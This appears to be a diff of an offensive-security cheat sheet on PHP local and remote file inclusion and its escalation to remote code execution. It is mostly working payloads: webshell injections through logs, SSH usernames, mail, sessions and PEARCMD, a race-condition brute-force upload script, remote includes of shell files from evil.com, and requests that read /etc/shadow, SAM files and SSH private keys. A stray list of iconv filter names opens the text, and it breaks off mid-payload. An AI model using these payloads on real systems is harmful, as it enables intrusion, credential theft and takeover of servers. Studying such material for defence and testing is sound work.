convert.iconv.IBM273.IBM420
convert.iconv.IBM273.IT
convert.iconv.IBM273.PT
convert.iconv.IBM273.US
convert.iconv.IBM277.ISO-8859-9E
convert.iconv.IBM278.IBM861
convert.iconv.IBM278.MIK
convert.iconv.IBM284.IBM278
convert.iconv.IBM297.IBM273
convert.iconv.IBM297.IBM280
convert.iconv.IBM4971.ARMSCII-8
convert.iconv.IBM870.MAC-IS
convert.iconv.L1.UCS-4
convert.iconv.L1.UCS-4LE
convert.iconv.L1.UTF16LE
convert.iconv.L1.utf7
convert.iconv.L1.UTF7
convert.iconv.UCS-4LE.10646-1:1993
convert.iconv.UTF16.UTF16
convert.iconv..UTF7
convert.iconv.UTF8.CP930
convert.iconv.UTF8.IBM1140
convert.iconv.VISCII.MSZ_7795.3

View File

@@ -0,0 +1,303 @@
# LFI to RCE
> LFI (Local File Inclusion) is a vulnerability that occurs when a web application includes files from the local file system, often due to insecure handling of user input. If an attacker can control the file path, they can potentially include sensitive or dangerous files such as system files (/etc/passwd), configuration files, or even malicious files that could lead to Remote Code Execution (RCE).
## Summary
- [LFI to RCE via /proc/*/fd](#lfi-to-rce-via-procfd)
- [LFI to RCE via /proc/self/environ](#lfi-to-rce-via-procselfenviron)
- [LFI to RCE via iconv](#lfi-to-rce-via-iconv)
- [LFI to RCE via upload](#lfi-to-rce-via-upload)
- [LFI to RCE via upload (race)](#lfi-to-rce-via-upload-race)
- [LFI to RCE via upload (FindFirstFile)](#lfi-to-rce-via-upload-findfirstfile)
- [LFI to RCE via phpinfo()](#lfi-to-rce-via-phpinfo)
- [LFI to RCE via controlled log file](#lfi-to-rce-via-controlled-log-file)
- [RCE via SSH](#rce-via-ssh)
- [RCE via Mail](#rce-via-mail)
- [RCE via Apache logs](#rce-via-apache-logs)
- [LFI to RCE via PHP sessions](#lfi-to-rce-via-php-sessions)
- [LFI to RCE via PHP PEARCMD](#lfi-to-rce-via-php-pearcmd)
- [LFI to RCE via Credentials Files](#lfi-to-rce-via-credentials-files)
## LFI to RCE via /proc/*/fd
1. Upload a lot of shells (for example : 100)
2. Include `/proc/$PID/fd/$FD` where `$PID` is the PID of the process and `$FD` the filedescriptor. Both of them can be bruteforced.
```ps1
http://example.com/index.php?page=/proc/$PID/fd/$FD
```
## LFI to RCE via /proc/self/environ
Like a log file, send the payload in the `User-Agent` header, it will be reflected inside the `/proc/self/environ` file
```powershell
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```
## LFI to RCE via iconv
Use the iconv wrapper to trigger an OOB in the glibc (CVE-2024-2961), then use your LFI to read the memory regions from `/proc/self/maps` and to download the glibc binary. Finally you get the RCE by exploiting the `zend_mm_heap` structure to call a `free()` that have been remapped to `system` using `custom_heap._free`.
**Requirements**:
- PHP 7.0.0 (2015) to 8.3.7 (2024)
- GNU C Library (`glibc`) <= 2.39
- Access to `convert.iconv`, `zlib.inflate`, `dechunk` filters
**Exploit**:
- [ambionics/cnext-exploits](https://github.com/ambionics/cnext-exploits/tree/main)
## LFI to RCE via upload
If you can upload a file, just inject the shell payload in it (e.g : `<?php system($_GET['c']); ?>` ).
```powershell
http://example.com/index.php?page=path/to/uploaded/file.png
```
In order to keep the file readable it is best to inject into the metadata for the pictures/doc/pdf
## LFI to RCE via upload (race)
- Upload a file and trigger a self-inclusion.
- Repeat the upload a shitload of time to:
- increase our odds of winning the race
- increase our guessing odds
- Bruteforce the inclusion of /tmp/[0-9a-zA-Z]{6}
- Enjoy our shell.
```python
import itertools
import requests
import sys
print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)
print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text: # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)
print('[x] Something went wrong, please try again')
```
## LFI to RCE via upload (FindFirstFile)
:warning: Only works on Windows
`FindFirstFile` allows using masks (`<<` as `*` and `>` as `?`) in LFI paths on Windows. A mask is essentially a search pattern that can include wildcard characters, allowing users or developers to search for files or directories based on partial names or types. In the context of FindFirstFile, masks are used to filter and match the names of files or directories.
- `*`/`<<` : Represents any sequence of characters.
- `?`/`>` : Represents any single character.
Upload a file, it should be stored in the temp folder `C:\Windows\Temp\` with a generated name like `php[A-F0-9]{4}.tmp`.
Then either bruteforce the 65536 filenames or use a wildcard character like: `http://site/vuln.php?inc=c:\windows\temp\php<<`
## LFI to RCE via phpinfo()
PHPinfo() displays the content of any variables such as **$_GET**, **$_POST** and **$_FILES**.
> By making multiple upload posts to the PHPInfo script, and carefully controlling the reads, it is possible to retrieve the name of the temporary file and make a request to the LFI script specifying the temporary file name.
Use the script [phpInfoLFI.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
## LFI to RCE via controlled log file
Just append your PHP code into the log file by doing a request to the service (Apache, SSH..) and include the log file.
```powershell
http://example.com/index.php?page=/var/log/apache/access.log
http://example.com/index.php?page=/var/log/apache/error.log
http://example.com/index.php?page=/var/log/apache2/access.log
http://example.com/index.php?page=/var/log/apache2/error.log
http://example.com/index.php?page=/var/log/nginx/access.log
http://example.com/index.php?page=/var/log/nginx/error.log
http://example.com/index.php?page=/var/log/vsftpd.log
http://example.com/index.php?page=/var/log/sshd.log
http://example.com/index.php?page=/var/log/mail
http://example.com/index.php?page=/var/log/httpd/error_log
http://example.com/index.php?page=/usr/local/apache/log/error_log
http://example.com/index.php?page=/usr/local/apache2/log/error_log
```
### RCE via SSH
Try to ssh into the box with a PHP code as username `<?php system($_GET["cmd"]);?>`.
```powershell
ssh <?php system($_GET["cmd"]);?>@10.10.10.10
```
Then include the SSH log files inside the Web Application.
```powershell
http://example.com/index.php?page=/var/log/auth.log&cmd=id
```
### RCE via Mail
First send an email using the open SMTP then include the log file located at `http://example.com/index.php?page=/var/log/mail`.
```powershell
root@kali:~# telnet 10.10.10.10. 25
Trying 10.10.10.10....
Connected to 10.10.10.10..
Escape character is '^]'.
220 straylight ESMTP Postfix (Debian/GNU)
helo ok
250 straylight
mail from: mail@example.com
250 2.1.0 Ok
rcpt to: root
250 2.1.5 Ok
data
354 End data with <CR><LF>.<CR><LF>
subject: <?php echo system($_GET["cmd"]); ?>
data2
.
```
In some cases you can also send the email with the `mail` command line.
```powershell
mail -s "<?php system($_GET['cmd']);?>" www-data@10.10.10.10. < /dev/null
```
### RCE via Apache logs
Poison the User-Agent in access logs:
```ps1
curl http://example.org/ -A "<?php system(\$_GET['cmd']);?>"
```
Note: The logs will escape double quotes so use single quotes for strings in the PHP payload.
Then request the logs via the LFI and execute your command.
```ps1
curl http://example.org/test.php?page=/var/log/apache2/access.log&cmd=id
```
## LFI to RCE via PHP sessions
Check if the website use PHP Session (PHPSESSID)
```javascript
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```
In PHP these sessions are stored into /var/lib/php5/sess_[PHPSESSID] or /var/lib/php/sessions/sess_[PHPSESSID] files
```javascript
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
```
Set the cookie to `<?php system('cat /etc/passwd');?>`
```powershell
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
```
Use the LFI to include the PHP session file
```powershell
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27
```
## LFI to RCE via PHP PEARCMD
PEAR is a framework and distribution system for reusable PHP components. By default `pearcmd.php` is installed in every Docker PHP image from [hub.docker.com](https://hub.docker.com/_/php) in `/usr/local/lib/php/pearcmd.php`.
The file `pearcmd.php` uses `$_SERVER['argv']` to get its arguments. The directive `register_argc_argv` must be set to `On` in PHP configuration (`php.ini`) for this attack to work.
```ini
register_argc_argv = On
```
There are this ways to exploit it.
- **Method 1**: config create
```ps1
/vuln.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=eval($_GET['cmd'])?>+/tmp/exec.php
/vuln.php?file=/tmp/exec.php&cmd=phpinfo();die();
```
- **Method 2**: man_dir
```ps1
/vuln.php?file=/usr/local/lib/php/pearcmd.php&+-c+/tmp/exec.php+-d+man_dir=<?echo(system($_GET['c']));?>+-s+
/vuln.php?file=/tmp/exec.php&c=id
```
The created configuration file contains the webshell.
```php
#PEAR_Config 0.9
a:2:{s:10:"__channels";a:2:{s:12:"pecl.php.net";a:0:{}s:5:"__uri";a:0:{}}s:7:"man_dir";s:29:"<?echo(system($_GET['c']));?>";}
```
- **Method 3**: download (need external network connection).
```ps1
/vuln.php?file=/usr/local/lib/php/pearcmd.php&+download+http://<ip>:<port>/exec.php
/vuln.php?file=exec.php&c=id
```
- **Method 4**: install (need external network connection). Notice that `exec.php` locates at `/tmp/pear/download/exec.php`.
```ps1
/vuln.php?file=/usr/local/lib/php/pearcmd.php&+install+http://<ip>:<port>/exec.php
/vuln.php?file=/tmp/pear/download/exec.php&c=id
```
## LFI to RCE via credentials files
This method require high privileges inside the application in order to read the sensitive files.
### Windows version
Extract `sam` and `system` files.
```powershell
http://example.com/index.php?page=../../../../../../WINDOWS/repair/sam
http://example.com/index.php?page=../../../../../../WINDOWS/repair/system
```
Then extract hashes from these files `samdump2 SYSTEM SAM > hashes.txt`, and crack them with `hashcat/john` or replay them using the Pass The Hash technique.
### Linux version
Extract `/etc/shadow` files.
```powershell
http://example.com/index.php?page=../../../../../../etc/shadow
```
Then crack the hashes inside in order to login via SSH on the machine.
Another way to gain SSH access to a Linux machine through LFI is by reading the private SSH key file: `id_rsa`.
If SSH is active, check which user is being used in the machine by including the content of `/etc/passwd` and try to access `/<HOME>/.ssh/id_rsa` for every user with a home.
## References
- [LFI WITH PHPINFO() ASSISTANCE - Brett Moore - September 2011](https://web.archive.org/web/20170406225317/https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf)
- [LFI2RCE via PHP Filters - HackTricks - July 19, 2024](https://web.archive.org/web/20220819000915/https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-php-filters)
- [Local file inclusion tricks - Johan Adriaans - August 4, 2007](https://web.archive.org/web/20250403080651/http://devels-playground.blogspot.fr/2007/08/local-file-inclusion-tricks.html)
- [PHP LFI to arbitrary code execution via rfc1867 file upload temporary files (EN) - Gynvael Coldwind - March 18, 2011](https://web.archive.org/web/20110429042455/http://gynvael.coldwind.pl:80/?id=376)
- [PHP LFI with Nginx Assistance - Bruno Bierbaumer - 26 Dec 2021](https://web.archive.org/web/20250604035904/https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
- [Upgrade from LFI to RCE via PHP Sessions - Reiners - September 14, 2017](https://web.archive.org/web/20170914211708/https://www.rcesecurity.com/2017/08/from-lfi-to-rce-via-php-sessions/)

View File

@@ -2,56 +2,34 @@
> A File Inclusion Vulnerability refers to a type of security vulnerability in web applications, particularly prevalent in applications developed in PHP, where an attacker can include a file, usually exploiting a lack of proper input/output sanitization. This vulnerability can lead to a range of malicious activities, including code execution, data theft, and website defacement. > A File Inclusion Vulnerability refers to a type of security vulnerability in web applications, particularly prevalent in applications developed in PHP, where an attacker can include a file, usually exploiting a lack of proper input/output sanitization. This vulnerability can lead to a range of malicious activities, including code execution, data theft, and website defacement.
**File Inclusion Vulnerability** should be differenciated from **Path Traversal**. The Path Traversal vulnerability allows an attacker to access a file, usually exploiting a "reading" mechanism implemented in the target application, when the File Inclusion will lead to the execution of arbitrary code.
## Summary ## Summary
- [File Inclusion](#file-inclusion) - [Tools](#tools)
- [Summary](#summary) - [Local File Inclusion](#local-file-inclusion)
- [Tools](#tools) - [Null Byte](#null-byte)
- [Local File Inclusion](#local-file-inclusion) - [Double Encoding](#double-encoding)
- [Null byte](#null-byte) - [UTF-8 Encoding](#utf-8-encoding)
- [Double encoding](#double-encoding) - [Path Truncation](#path-truncation)
- [UTF-8 encoding](#utf-8-encoding) - [Filter Bypass](#filter-bypass)
- [Path and dot truncation](#path-and-dot-truncation) - [Remote File Inclusion](#remote-file-inclusion)
- [Filter bypass tricks](#filter-bypass-tricks) - [Null Byte](#null-byte-1)
- [Remote File Inclusion](#remote-file-inclusion) - [Double Encoding](#double-encoding-1)
- [Null byte](#null-byte-1)
- [Double encoding](#double-encoding-1)
- [Bypass allow_url_include](#bypass-allow_url_include) - [Bypass allow_url_include](#bypass-allow_url_include)
- [LFI / RFI using wrappers](#lfi--rfi-using-wrappers) - [Labs](#labs)
- [Wrapper php://filter](#wrapper-phpfilter) - [References](#references)
- [Wrapper data://](#wrapper-data)
- [Wrapper expect://](#wrapper-expect)
- [Wrapper input://](#wrapper-input)
- [Wrapper zip://](#wrapper-zip)
- [Wrapper phar://](#wrapper-phar)
- [Wrapper convert.iconv:// and dechunk://](#wrapper-converticonv-and-dechunk)
- [LFI to RCE via /proc/*/fd](#lfi-to-rce-via-procfd)
- [LFI to RCE via /proc/self/environ](#lfi-to-rce-via-procselfenviron)
- [LFI to RCE via upload](#lfi-to-rce-via-upload)
- [LFI to RCE via upload (race)](#lfi-to-rce-via-upload-race)
- [LFI to RCE via upload (FindFirstFile)](#lfi-to-rce-via-upload-findfirstfile)
- [LFI to RCE via phpinfo()](#lfi-to-rce-via-phpinfo)
- [LFI to RCE via controlled log file](#lfi-to-rce-via-controlled-log-file)
- [RCE via SSH](#rce-via-ssh)
- [RCE via Mail](#rce-via-mail)
- [RCE via Apache logs](#rce-via-apache-logs)
- [LFI to RCE via PHP sessions](#lfi-to-rce-via-php-sessions)
- [LFI to RCE via PHP PEARCMD](#lfi-to-rce-via-php-pearcmd)
- [LFI to RCE via credentials files](#lfi-to-rce-via-credentials-files)
- [References](#references)
## Tools ## Tools
* [Kadimus - https://github.com/P0cL4bs/Kadimus](https://github.com/P0cL4bs/Kadimus) - [P0cL4bs/Kadimus](https://github.com/P0cL4bs/Kadimus) (archived on Oct 7, 2020) - kadimus is a tool to check and exploit lfi vulnerability.
* [LFISuite - https://github.com/D35m0nd142/LFISuite](https://github.com/D35m0nd142/LFISuite) - [D35m0nd142/LFISuite](https://github.com/D35m0nd142/LFISuite) - Totally Automatic LFI Exploiter (+ Reverse Shell) and Scanner
* [fimap - https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap) - [kurobeats/fimap](https://github.com/kurobeats/fimap) - fimap is a little python tool which can find, prepare, audit, exploit and even google automatically for local and remote file inclusion bugs in webapps.
* [panoptic - https://github.com/lightos/Panoptic](https://github.com/lightos/Panoptic) - [lightos/Panoptic](https://github.com/lightos/Panoptic) - Panoptic is an open source penetration testing tool that automates the process of search and retrieval of content for common log and config files through path traversal vulnerabilities.
- [hansmach1ne/LFImap](https://github.com/hansmach1ne/LFImap) - Local File Inclusion discovery and exploitation tool
## Local File Inclusion ## Local File Inclusion
**File Inclusion Vulnerability** should be differentiated from **Path Traversal**. The Path Traversal vulnerability allows an attacker to access a file, usually exploiting a "reading" mechanism implemented in the target application, when the File Inclusion will lead to the execution of arbitrary code.
Consider a PHP script that includes a file based on user input. If proper sanitization is not in place, an attacker could manipulate the `page` parameter to include local or remote files, leading to unauthorized access or code execution. Consider a PHP script that includes a file based on user input. If proper sanitization is not in place, an attacker could manipulate the `page` parameter to include local or remote files, leading to unauthorized access or code execution.
```php ```php
@@ -67,29 +45,35 @@ In the following examples we include the `/etc/passwd` file, check the `Director
http://example.com/index.php?page=../../../etc/passwd http://example.com/index.php?page=../../../etc/passwd
``` ```
### Null byte ### Null Byte
:warning: In versions of PHP below 5.3.4 we can terminate with null byte. :warning: In versions of PHP below 5.3.4 we can terminate with null byte (`%00`).
```powershell ```powershell
http://example.com/index.php?page=../../../etc/passwd%00 http://example.com/index.php?page=../../../etc/passwd%00
``` ```
### Double encoding **Example**: Joomla! Component Web TV 1.0 - CVE-2010-1470
```ps1
{{BaseURL}}/index.php?option=com_webtv&controller=../../../../../../../../../../etc/passwd%00
```
### Double Encoding
```powershell ```powershell
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00 http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
``` ```
### UTF-8 encoding ### UTF-8 Encoding
```powershell ```powershell
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00 http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00
``` ```
### Path and dot truncation ### Path Truncation
On most PHP installations a filename longer than `4096` bytes will be cut off so any excess chars will be thrown away. On most PHP installations a filename longer than `4096` bytes will be cut off so any excess chars will be thrown away.
@@ -100,7 +84,7 @@ http://example.com/index.php?page=../../../etc/passwd/./././././.[ADD MORE]
http://example.com/index.php?page=../../../[ADD MORE]../../../../etc/passwd http://example.com/index.php?page=../../../[ADD MORE]../../../../etc/passwd
``` ```
### Filter bypass tricks ### Filter Bypass
```powershell ```powershell
http://example.com/index.php?page=....//....//etc/passwd http://example.com/index.php?page=....//....//etc/passwd
@@ -108,38 +92,34 @@ http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
``` ```
## Remote File Inclusion ## Remote File Inclusion
> Remote File Inclusion (RFI) is a type of vulnerability that occurs when an application includes a remote file, usually through user input, without properly validating or sanitizing the input. > Remote File Inclusion (RFI) is a type of vulnerability that occurs when an application includes a remote file, usually through user input, without properly validating or sanitizing the input.
Remote File Inclusion doesn't work anymore on a default configuration since `allow_url_include` is now disabled since PHP5. Remote File Inclusion doesn't work anymore on a default configuration since `allow_url_include` is now disabled since PHP 5.
```ini ```ini
allow_url_include = On allow_url_include = On
``` ```
Most of the filter bypasses from LFI section can be reused for RFI. Most of the filter bypasses from LFI section can be reused for RFI.
```powershell ```powershell
http://example.com/index.php?page=http://evil.com/shell.txt http://example.com/index.php?page=http://evil.com/shell.txt
``` ```
### Null byte ### Null Byte
```powershell ```powershell
http://example.com/index.php?page=http://evil.com/shell.txt%00 http://example.com/index.php?page=http://evil.com/shell.txt%00
``` ```
### Double Encoding
### Double encoding
```powershell ```powershell
http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt
``` ```
### Bypass allow_url_include ### Bypass allow_url_include
When `allow_url_include` and `allow_url_fopen` are set to `Off`. It is still possible to include a remote file on Windows box using the `smb` protocol. When `allow_url_include` and `allow_url_fopen` are set to `Off`. It is still possible to include a remote file on Windows box using the `smb` protocol.
@@ -148,479 +128,18 @@ When `allow_url_include` and `allow_url_fopen` are set to `Off`. It is still pos
2. Write a PHP code inside a file : `shell.php` 2. Write a PHP code inside a file : `shell.php`
3. Include it `http://example.com/index.php?page=\\10.0.0.1\share\shell.php` 3. Include it `http://example.com/index.php?page=\\10.0.0.1\share\shell.php`
## Labs
## LFI / RFI using wrappers - [Root Me - Local File Inclusion](https://www.root-me.org/en/Challenges/Web-Server/Local-File-Inclusion)
- [Root Me - Local File Inclusion - Double encoding](https://www.root-me.org/en/Challenges/Web-Server/Local-File-Inclusion-Double-encoding)
### Wrapper php://filter - [Root Me - Remote File Inclusion](https://www.root-me.org/en/Challenges/Web-Server/Remote-File-Inclusion)
- [Root Me - PHP - Filters](https://www.root-me.org/en/Challenges/Web-Server/PHP-Filters)
The part "`php://filter`" is case insensitive
```powershell
http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
http://example.com/index.php?page=php://filter/convert.iconv.utf-8.utf-16/resource=index.php
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php
```
Wrappers can be chained with a compression wrapper for large files.
```powershell
http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
```
NOTE: Wrappers can be chained multiple times using `|` or `/`:
- Multiple base64 decodes: `php://filter/convert.base64-decoder|convert.base64-decode|convert.base64-decode/resource=%s`
- deflate then `base64encode` (useful for limited character exfil): `php://filter/zlib.deflate/convert.base64-encode/resource=/var/www/html/index.php`
```powershell
./kadimus -u "http://example.com/index.php?page=vuln" -S -f "index.php%00" -O index.php --parameter page
curl "http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php" | base64 -d > index.php
```
Also there is a way to turn the `php://filter` into a full RCE.
* [synacktiv/php_filter_chain_generator](https://github.com/synacktiv/php_filter_chain_generator) - A CLI to generate PHP filters chain
```powershell
$ python3 php_filter_chain_generator.py --chain '<?php phpinfo();?>'
[+] The following gadget chain will generate the following code : <?php phpinfo();?> (base64 value: PD9waHAgcGhwaW5mbygpOz8+)
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.UCS-2.UTF8|convert.iconv.L6.UTF8|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp
```
* [LFI2RCE.py](./LFI2RCE.py) to generate a custom payload.
```powershell
# vulnerable file: index.php
# vulnerable parameter: file
# executed command: id
# executed PHP code: <?=`$_GET[0]`;;?>
curl "127.0.0.1:8000/index.php?0=id&file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.